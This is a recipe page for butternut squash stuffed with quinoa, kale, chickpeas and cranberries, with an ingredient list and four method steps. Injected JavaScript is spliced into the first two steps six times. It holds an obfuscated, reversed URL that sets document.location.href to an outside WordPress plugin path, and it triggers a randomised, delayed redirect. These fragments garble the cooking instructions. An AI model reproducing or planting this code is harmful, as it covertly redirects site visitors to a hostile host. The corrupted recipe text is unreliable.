Butternut squash stuffed with quinoa, kale and cranberries
This recipe is super easy, nourishing and very tasty.
Ingredients
2 butternut squash
¾ cup quinoa
1 bunch chopped kale, stems removed
1 454ml can chickpeas
Zest of one orange plus 1tbsp orange juice
2 tsp olive oil, divided
11/2 cups vegetable broth
1tsp dried oregano
1/2tsp each of salt and pepper
1/3 cup dried cranberries
2 cloves minced garlic
Grated parmesan cheese
Instructions
- Preheat oven toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to 220°C. Cut the butternut squash in half, scoop out the seeds and arrange on a baking tray with cut sides up. Drizzle over one teaspoon of olive oil and season with salt and pepper. Bake for 45 toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to 55 minutes until fork tender. Remove from oven and allow toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to cool.
- Reduce oven temperature toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to 190°C. Bring broth toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to boil in a small saucepan, add quinoa and simmer for about 12 minutes until broth is absorbed. Cover and allow toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to sit for fifteen minutes, then fluff with a fork.
- Heat remaining oil in a large skillet, add kale and cook for 4 minutes until wilted. Add oregano, garlic, salt and pepper, then stir in chickpeas, quinoa, orange juice, zest, and cranberries.
- Scoop out cooled squash, leaving a 1-2cm border and stuff with quinoa and kale mixture. Bake for ten minutes, serve hot sprinkled with cheese.
Serves 4
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